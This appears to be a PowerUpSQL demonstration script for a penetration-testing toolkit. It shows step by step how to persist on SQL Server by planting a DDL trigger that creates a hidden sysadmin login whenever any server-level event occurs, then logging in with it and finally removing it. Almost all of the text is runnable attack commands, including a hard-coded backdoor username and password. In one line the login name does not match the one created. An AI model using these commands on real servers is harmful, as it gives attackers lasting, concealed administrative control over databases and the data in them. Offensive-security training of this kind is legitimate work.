SQL Server - Persist via DDL Trigger - Demo

SQL Server - Persist via DDL Trigger - Demo.txt

# PowerUpSQL
# SQL Server - Persist via DDL Trigger - Demo
# Note: The assumption is that the connecting Windows user has sysadmin privileges.

# Get local instances
Get-SQLInstanceLocal

# Get info for the instance to confirm sysadmin
Get-SQLServerInfo -Verbose -Instance MSSQLSRV04\SQLSERVER2014

# Get list of users and note there is no mysqluser
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "select name from master..syslogins where name like 'mysqluser%'"

# Get list of tiggers
Get-SQLTriggerDdl -Verbose -Instance MSSQLSRV04\SQLSERVER2014

# Add backdoor trigger to add sysadmin on any DDL event
Get-SQLPersistTriggerDDL -Instance "MSSQLSRV04\SQLSERVER2014" -NewSqlUser mysqluser4 -NewSqlPass NewPassword123!

# Confirm backdoor trigger was added
Get-SQLTriggerDdl -Verbose -Instance MSSQLSRV04\SQLSERVER2014

# Trip the trigger using any server level event
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "sp_configure 'show advanced options',1;reconfigure"

# Get list of users
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "select name from master..syslogins where name like 'mysqluser%'"

# Log in using new sysadmin
Get-SQLServerInfo -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -username mysqluser3 -password 'NewPassword123!'

# Remove trigger, then user can be removed too
# Note: if you do not remove the trigger first, the user will get added back in by the trigger
Get-SQLPersistTriggerDDL -Instance "MSSQLSRV04\SQLSERVER2014" -NewSqlUser mysqluser4 -NewSqlPass NewPassword123! -Remove

# Confirm backdoor trigger is removed
Get-SQLTriggerDdl -Verbose -Instance MSSQLSRV04\SQLSERVER2014